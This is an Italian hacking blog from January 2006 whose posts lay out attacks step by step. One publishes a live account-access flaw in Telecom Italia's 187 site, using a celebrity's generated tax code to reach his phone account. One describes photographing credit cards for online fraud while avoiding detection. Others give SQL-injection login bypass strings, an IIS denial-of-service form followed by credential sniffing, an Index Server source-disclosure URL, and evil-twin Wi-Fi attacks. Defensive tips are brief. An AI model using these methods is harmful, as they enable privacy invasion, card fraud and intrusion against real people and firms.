RedTomahawk

In questo blog voglio mostrarvi una serie di attacchi che possono essere sferrati a voi o ai sistemi informatci aziendali. Il WWW è ormai diventata la strada digitale per eccellenza. Come nel mondo reale se gli edifici sono ben protetti potremmo sentirci sicuri all'interno delle nostre "mura domestiche", mentre se lasciamo le porte aperte, prima o poi qualcuno proverà ad entrare.

venerdì, gennaio 27, 2006

Falla nel sito www.187.it

E' da più di un anno che cerco di far correggere una falla sul sito del www.187.it che permette a chiunque di accedere ai dati personali di qualsiasi utente di Telecom Italia (telecomitalia) NON REGISTRATO sul sito.

Ma come sappiamo tutti, al 187 di noi utenti non gliene frega un cazzo.

Quindi io pubblico questo 0-day EXPLOIT!!!! (Anche se è presente da mesi)


Questa falla è molto semplice.
Questa scoperta l'ho fatta sulla mia pelle, utilizzando i dati di mia nonna.
Ma vediamo di cosa si tratta.

Mettiamo caso che volete il numero di telefono di un personaggio famoso che però non è in elenco.
Sicuramente "il fantomatico personaggio famoso" non avrà il tempo di registrasi al sito del 187 per usufruire dei meravigliosi servizi del customer care di telecomitalia.
Quindi noi ne approfittiamo.

Andiamo su internet e ricerchiamo i dati personali del personaggio pubblico. Ad esempio PAOLO BONOLIS.
Basta andare su GOOGLE e cercare: "Paolo Bonolis nato il" e in un attimo vi arriveranno i dati:

Nome: Paolo
Cognome: Bonolis
Nato a: Roma
il: 14 giugno 1961

Con un comune software per la generazione del codice fiscale generatevi quello di Bonolis:

C.F.: BNL PLA 61H14 H501 V

Ok.

Ora andate sul sito www.187.it e cliccate su "Registrati ora".
A questo punto vi basta inserire il codice fiscale generato et voilà!
Vi compariranno il nome e cognome non modificabili (segno che l'utente esiste)!!!
Completate i dati di registrazione con un po' di informazioni a caso e annotatevi nome utente e password.

Il sito per completare la registrazione vi chiede:
a) il numero di telefono
b) numero fattura
3) il bimestre e l'anno del numero fattura

voi fregatevene di questi dati e fate "AVANTI" e il gioco è fatto.

Tornate sulla home page del 187 e fate login con i dati inseriti.

Come per magia avrete a disposizione l'utenza telefonica del vostro beniamino!!!

NOTA: Questa falla funziona SOLO per gli utenti che non sono ancora registrati sul sistema.

giovedì, gennaio 26, 2006

Attacco all'Italia

"Questa legislatura è stata segnata soltanto da strappi istituzionali, ma pensare di concluderla con un voto di fiducia che inserisce in un decreto sulle Olimpiadi di Torino una nuova legge sulle droghe è davvero troppo."

E' veramente troppo?
No, è semplicemente il modo di fare del governo berlusconi.

E' la prima volta che mi capita di associare un governo ad una associazione a delinquere, che sfrutta le falle legislative per inserire codice malevolo.

E' esattamente quello che fanno i delinquenti informatici quando vogliono ottenere il massimo danno senza essere scoperti: inserire cavalli di troia o rootkit all'interno di applicazioni diffuse. Un po' quello che ha fatto SONY qualche tempo fa con i suoi CD. Solamente che SONY è stata punita e invece da noi Berlusconi si fa le leggi per non andare in galera.



Penso proprio che la sicurezza informatica in Italy non prenda piede proprio perché alle grandi aziende fa molto più comodo essere insicure per nascondere i loro traffici illeciti.
Questo è l'insegnamento dato dal nostro bel governo che, alla faccia nostra, in questi 5 anni ha trasformato una democrazia di Stato in una Oligarchia di malfattori impuniti.

Per concludere:
Controllate sempre le connessioni in entrata ed uscita dalla vostra macchina una volta che installate un nuovo tool scaricato da siti non del tutto attendibili...
Controllate nell'arco di un tempo abbastanza lungo per verificare la presenza di meccanismi tipo "port knocking" (che vi descriverò tra un po').

Ciao!



martedì, gennaio 24, 2006

Eccesso di difesa?

Ciao!
Ma lo sapevate che fino ad oggi, se sparavi ad un ladro armato in casa tua, rischiavi la galera? Assurdo...


Invece:
Un port scan per la legge italiana non è perseguibile, a meno che non segua un tentativo di intrusione.

Ciao!!!

lunedì, gennaio 23, 2006

Storia dell’Esposizione Totale

Tratto da: Communication Valley

Agli albori dell’era informatica e delle reti, la segretezza sui bug era la norma. Quando utenti e ricercatori scoprivano delle vulnerabilità in un prodotto software, essi avvertivano il produttore con discrezione. Il produttore si sarebbe poi occupato, almeno in teoria, di sistemare la vulnerabilità. Nel 1988 venne fondato il CERT (Computer Emergency Response Team) che divenne immediatamente un punto di raccolta per quanto concerne le vulnerabilità. Gli utenti mandavano al CERT le falle di sicurezza appena scoperte, il CERT le verificava, avvertiva i produttori, e poi pubblicava i dettagli della vulnerabilità nonché la patch una volta che essa fosse stata disponibile.

Il problema di questo metodo stava nel fatto che i produttori non avevano alcun interesse a riparare le vulnerabilità. Il CERT non avrebbe pubblicato nulla prima dell’arrivo di una soluzione, e dunque non c’era urgenza. Era molto più semplice tenere nascoste le vulnerabilità. C’erano casi di produttori che avrebbero minacciato i ricercatori se questi avessero reso pubbliche le loro scoperte, e campagne diffamatorie nei confronti di quei ricercatori che annunciavano l’esistenza di vulnerabilità (anche se non entravano nei dettagli). E così parecchie vulnerabilità rimanevano tali per anni.

Il movimento per l’esposizione totale nacque dalla frustrazione che questo processo generò. Una volta che una vulnerabilità viene resa nota, le pressioni del pubblico danno ai produttori un forte incentivo per sistemare il problema rapidamente. Nella maggior parte dei casi questo sistema ha funzionato. Oggi molti ricercatori rendono note le vulnerabilità da loro scoperte attraverso mailing list come Bugtraq. La stampa scrive di queste vulnerabilità su riviste specializzate. I produttori si affannano per realizzare delle patch a queste vulnerabilità una volta che esse vengono diffuse, in modo che possano poi scrivere i loro comunicati stampa vantandosi di come siano stati rapidi ed efficaci nel sistemare le cose. Il movimento per l’esposizione totale sta facendo aumentare la sicurezza in Internet.


[...]

Ecco perché sto pubblicando queste informazioni sul Blog.

Ciao!!!

Guadagnare con l'HACKING (2)

Poi chiudo...

Ma come fare ad ottenere le informazioni di cui si parla nel post Guadagnare con l'HACKING se non lavoro in una di queste grandi aziende?

SEMPLICISSIMO!!!

Si usa una tecnica non molto usata in Italia, e per questo molto efficace nel nostro paese....

WiFi Perimeter Attack!!! (Il nome me lo sono inventato ora)

In cosa consiste?
Consiste nel farsi un giretto a piedi (meglio in macchina se piove) in prossimità delle grandi aziende o gruppi bancari. Ovviamente muniti di notebook con scheda wifi.
Sicuramente, e ripeto, sicuramente troverete qualche hot-spot aperto, cioè senza WPA/WPE.
Questo significa che avete a disposizione una porta aperta sull'azienda che volete attaccare.


Una variante è quella di usare un CANNONE WiFi a cui associerete un nome riconducibile all'azienda da attaccare in modo che qualche consulente sprovveduto si collechi alla vostra macchina.


Come difendersi?
Semplice, invece di proibire ai consulenti l'uso del WiFi, assicuratevi che utilizzino una chiave d'accesso!!!!

Ciao!!!!

Guadagnare con l'HACKING

Ciao!!!
Quante volte vi siete chiesti "come posso fare per migliorare i miei introiti"? eh.... io me lo chiedo di continuo... ma c'è chi ha trovato un modo semplice e veloce.

Qualche settimana fa su eBay qualcuno cercò di vendere uno zero-day exploit di Microsoft Excel per auto finanziare i propri progetti, solamente che eBay bloccò l'asta perché non in linea con le proprie politiche di vendita.

http://www.newsfactor.com/story.xhtml?story_id=40091

Cmq non preoccupatevi, per questo tipo di inserzioni sono disponibili newsgroup e canali IRC appositi!

Questo per dirvi cosa?
State a sentire,
quanti di voi fanno i consulenti per grandi aziende con almeno un migliaio di dipendenti? Penso diversi di voi. E cosa avete notato di assurdo nelle aziende per cui lavorate?
1) 4 macchine su 10 hanno /c$ condiviso
2) 3 macchine sulle 4 precedenti hanno files excel contenenti password e quant'altro.

Spesso le informazioni descritte al punto 2 contengono indirizzi IP, utenze e relative password.

In una azienda mi era stato commissionato un Pen Test, mi sono arrivati alla mano files con:
1) Configurazioni delle infrastrutture di rete
2) Nominativi ed indirizzi dei responsabili
3) Accessi VPN
4) Accessi ai firewall
5) Accessi di amministrazione
e così via.

Si trattava di informazioni relative a grandi organizzazioni e gruppi bancari.

Provate ad immaginare se queste informazioni andassero in mani sbagliate... , io non oso nemmeno immaginarlo...

Queste falle, amici miei, sono ovunque.

State attenti ai dati che lasciate in giro e fatevi ASSICURARE che venga utilizzata una politica di sicurezza all'interno dell'azienda che dovr� curare i vostri interessi.

Fatevi rilasciare una copia della certificazione BS7799 e fate mettere a contratto i risarcimenti in caso di perdita, distribuzione o manipolazione delle informazioni che vi riguardano!!!

Come evitare questo problema di sicurezza?
Semplice, adottare delle politiche forti di sicurezza all'interno dell'azienda e non dare password a destra e a manca.

Ciao!!!

Carte di Credito

Ciao!!!
Da quanto tempo conoscete l'e-commerce?
Sicuramente negli ultimi anni ci sono stati parecchi passi avanti in fatto di sicurezza, ma esistono ancora siti "poco sicuri...". Non starò qui a farvi un elenco, divertitevi voi a cercarli... ;-)

Quello che non si è fatto sufficientemente bene, è stato insegnare agli utenti l'uso della propria carta di credito.

Quante volte a pranzo (o a cena) vi trovate i consulenti ACCENTURE, o CAP GEMINI, o ERNST & YOUNG, o MICROSOFT o altri che tutti tronfi, alla cassa sfoderano la propria "AMERICAN EXPRESS CORPORATE"?
Beh, a me capita spesso... e altrettanto spesso mi tocca vedere che questi assurdi personaggi lanciano spavaldamente la propria carta di credito sul tavolo della cassa come a rivelare un pocker d'assi vincente.

Bene... questi personaggi non sanno cosa rischiano.

Perché? Perchè tutti ormai abbiamo un telefono con macchina fotografica, e fotografare una carta di credito è diventato un gioco da ragazzi.

A cosa serve fotografare una carta di credito?
Serve per avere il codice e i dati personali del proprietario della carta, così da poterli utilizzare nei siti di commercio elettronico a noi più cari.

Per non essere scoperti vi conviene utilizzarli per i servizi online, in modo da non lasciare dati personali in giro (ad esempio l'indirizzo postale) che potrebbero essere utilizzati per un controllo incrociato.

Attenzione però, ultimamente tanti siti di ecommerce per il pagamento chiedono anche il codice a tre cifre presente sul retro, e a meno che non fotografiate entrambi i lati, senza quelle tre cifre non potrete acquistare nulla...

Come evitare di subire questa truffa?
Semplice: abbiate cura della vostra carta. Non lasciatela al cameriere, non mostratela a tutti come un simbolo fallico, non lasciatela sul bancone della cassa e soprattutto siate seri.

Ciao!!!

sabato, gennaio 14, 2006

Script Validazione Email

Ciao,
oggi mentre facevo esercizio ho trovato una funzione - abbastanza diffusa sul web - per la validazione dell'emal:


function EmailCheck(EmailAddr, PopUpMsg)
var reg1 = /(@.*@)(\.\.)(@\.)(\.@)(^\.)/
var reg2 = /^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}[0-9]{1,3})(\]?)$/
if (!reg1.test(EmailAddr.value) && reg2.test(EmailAddr.value))
return true
else
{
alert(PopUpMsg)
EmailAddr.focus()
return false
}
}




Questa funzione veniva usata per la validazione dell'email per il login ad un'area riservata.


Si espugna mettendo un % nel campo email

venerdì, gennaio 13, 2006

Ottenere i sorgenti delle pagine WEB

Il problema fondamentale della sicurezza dei sistemi informatici, è dato dal fatto che le aziende pensano che un programmatore neolaureato che guadagna 900 euro al mese, abbia le stesse competenze e uguale produttività di un professionista con 10 anni di esperienza che invece guadagna 3000 euro al mese. Questo fa si che interi portali aziendali vengano sfondati di continuo da chicchessia perché l'azienda vuole risparmiare.

Dopo questo sfogo, eccovi un trucchetto per accedere a utili informazioni di debug che possono rivelarsi assai preziose per lo svolgimento di un penetration test.

Su tanti siti non vengono mai effettuati i controlli di formato sulle stringhe che vengono passate dal client al server, lasciando passare oltre a SQL malevolo, quei caratteri che poi possono interropere il flusso di esecuzione degli scripts server-side. Un esempio è dato dagli apici.

Mettiamo caso che vogliamo recuperare la stringa di connessione al DB dell'applicazione. Come ci comportiamo?
Semplice.
Inseriamo nel campo USERID una stringa del tipo: hac'ker (attenzione all'apice).
Scriviamo la stessa cosa nel campo password.
Mettiamo caso che il tentativo precedente di SQL Injection sia andato a buon fine, e che quindi abbiamo la certezza che non vengano fatti controlli di formato server-side.
Facciamo la SUBMIT e magia:

Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Line 1: Incorrect syntax near 'ker'.
/login/authentication.inc, line 18

Abbiamo così identificato che al path www.victim.com/login/ esiste un file authentication.inc che contiene il codice per la connessione al DATABASE di autenticazione.

Come Proteggersi?

  1. Verificare sempre il contenuto dei parametri passati al server.
  2. Abilitare l'esecuzione dei files .inc dal modulo asp nella configurazione del sito web. In questo modo IIS interpreterà i files .INC come delle pagine ASP e non come dei semplici files di testo.

SQL injection

Quale metodo più diffuso ed efficace per ottenere un accesso ad un'area riservata di un sito web?
Ma � semplice: il SQL Injection!

Come la maggior parte dei buchi, anche questo è dovuto alla scarsa attenzione degli sviluppatori nel realizzare applicazioni WEB.

Come funziona?

Mettiamo caso di avere una pagina web con 2 moduli per l'inserimento di USERID e PASSWORD.
Per prima cosa dobbiamo verificare che non vengano fatti dei controlli di formato client-side. Una volta fatta questa verifica passiamo: al modulo USERID un nome qualunque, ad esempio: Admin.
Per il campo password invece abbiamo 2 possibilità:

  1. Password numeriche: nel caso il sito richieda una password numerica per l'autenticazione ci basterà inserire una stringa del tipo "1 OR 1=1". In questo caso lo script server-side si trover� ad eseguire una query del tipo:

    SELECT * FROM TABLE WHERE USERID = 'Admin' AND PASSWORD = 1 OR 1=1

    Se esiste un utente "Admin" otterremo l'accesso da amministratore al sito.


  2. Password alfanumeriche: nel caso il sito richieda una password alfanumerica per l'autenticazione ci baster� inserire una stringa del tipo " ' OR ''='' ".

    In questo caso lo script server-side si troverà ad eseguire una query del tipo:

    SELECT * FROM TABLE WHERE USERID = 'Admin' AND PASSWORD = '' OR ''=''

    Se esiste un utente "Admin" otterremo l'accesso da amministratore al sito.

Se non conosciamo l'USERID: ci basterà usare le prime 2 tecniche combinate su entrambi i campi.

Come risolvere il problema?
Semplice, basta eseguire un controllo di formato sulle stringhe inviate dai moduli HTML scartando quelle stringhe che abbiano spazi o apici.

IIS DoS

Quante volte avete provato ad accedere a quel sito sull'intranet per spiare le performance o i budget dei vostri colleghi?
Beh, con un sito web aziendale che utilizza ASP con lo Scripting Object Model su una macchina Windows 2000 con IIS 5.0 sar� abbastanza semplice!

L'operazione non è gratis e richiede la combinazione di un paio di semplici tecniche:

  1. Attacco ai moduli dei form.
  2. Sniffing della Rete.

Come fare?
Per prima cosa dovete analizzare i sorgenti della pagina di login della WEB Application, dopodichè dovrete creare una pagina HTML che riporti i moduli interessati dall'autenticazione:




<center>

<form name="thisForm" method="post" action="http://www.victim.com/access/logon.asp">

<input id="user_identify" name="user_id" size="20"
value="HACKER" type="text">

<input id="user_password" name="user_password" size="20"
value="%%%% .... %%%%%%%%%" type="text">

<input type="submit">

</form>

</center>

Per motivi di spazio non ho riportato tutti i %%%% che ho inserito nel campo "user_password", ma per la cronaca, ho avuto risultati con strighe di almeno 2 mega di lunghezza.

Eseguite la POST e IIS farà schizzare CPU e Memoria alle stelle mandando in CRASH la gestione delle variabili sessione con conseguente logout di TUTTI gli utenti.

A questo punto attivate il vostro sniffer ed in gioco è fatto!

Gli utenti si riconnetteranno molto probabilmente tutti insieme e voi potrete sniffare tutte le loro credenziali di autenticazione.


IIS e Index Server

Recentemente ho dovuto testare la sicurezza di un sito web aziendale che utilizza ASP con SOM su una macchina Windows 2000 con IIS 5.0.
Il sito di importanza vitale per l'azienda è accessibile dall'intranet e da internet.


Tra i vari tentativi di intrusione ho testato un errore di configurazione spesso presente su applicazioni che utilizzano l'architettura descritta sopra.
Questo errore di configurazione rigurda i files HTW di webhits.

Questa vulnerabilità si basa sull'applicazione ISAPI webhits.dll, la quale ha la funzione di evidenziare le ricerche effettuate dal motore di ricerca integrato Index Server di Microsoft. Scoperta dal gruppo Cerberus Information Security, ad essere colpito questa volta oltre ad IIS 4.0, abbiamo anche Windows 2000 in tutte le sue versioni. Fondamentali per la nostra riuscita sono i file ".htw".

Ci sono varie tecniche per far fruttare questo baco, ma descriverò quella con meno caratteri:

Inviate questa stringa verso la vostra vittima:

http://www.victim.com/null.htw?CiWebHitsFile=/secure/db_connections.asp&CiRestriction=none&CiHiliteType=full

IIS vi risponderà con una stringa tipo questa:

0) Then Response.Write(thisPage.location+"?"+Left(Request.QueryString(),InStr(1,Request.QueryString(),"&all")-1)) Else Response.Write(thisPage.location)%>">
[...]

Una risposta del genere fa intuire immediatamente che c'è qualcosa che non va. Con una ricerca massiva, pagina per pagina, non sarà difficile individuare dati sensibili nei sorgenti da poter sfruttare per un successivo attacco.

Come proteggersi?

Oltre a installare i vari bug fix e service pack rilasciati da microsoft, vi consiglio di eliminare l'esecuzione dei files HTW dalla configurazione del vostro sito.


Per approfondimenti:

Microsoft WebHits:
http://www.microsoft.com/technet/prodtechnol/sscomm/reskit/webhits.mspx
Microsoft IIS Security Guide:
http://www.microsoft.com/italy/pmi/sicurezza/sgc/articles/sec_iis_5_0_5_1.mspx
PacketStorm
http://packetstormsecurity.org/0001-exploits/iis4.webhits.txt

Statistiche sito,contatore visite, counter web invisibile